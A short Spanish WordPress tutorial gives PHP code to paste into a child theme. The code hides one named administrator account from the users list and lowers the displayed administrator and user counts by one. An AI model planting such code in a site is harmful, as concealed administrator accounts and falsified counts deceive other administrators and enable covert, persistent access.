Crear un Super Admin en WordPress

Ocultar usuario superadmin de otros administradores

Para que funcione correctamente este método, es necesario crear un child theme, recomendamos utilizar el Plugin Child Theme Configurator ya una vez creado el Child Theme continuar con los siguientes pasos.

Ir a Editor de archivos de temas

Aceptar el aviso

Desplazarte a los archivos del tema

Agregar al final del archivo el siguiente código

//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;
 
	if ($username == 'XXXXXX') {
	}
 
	else {
	global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'XXXXXX'",$user_search->query_where);
  }
}

//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

Modifica las XXXXXX por el nombre de usuario a ocultar

y presionar el botón de Actualizar archivo

Listo!

                    

¿Le ha resultado útil este artículo?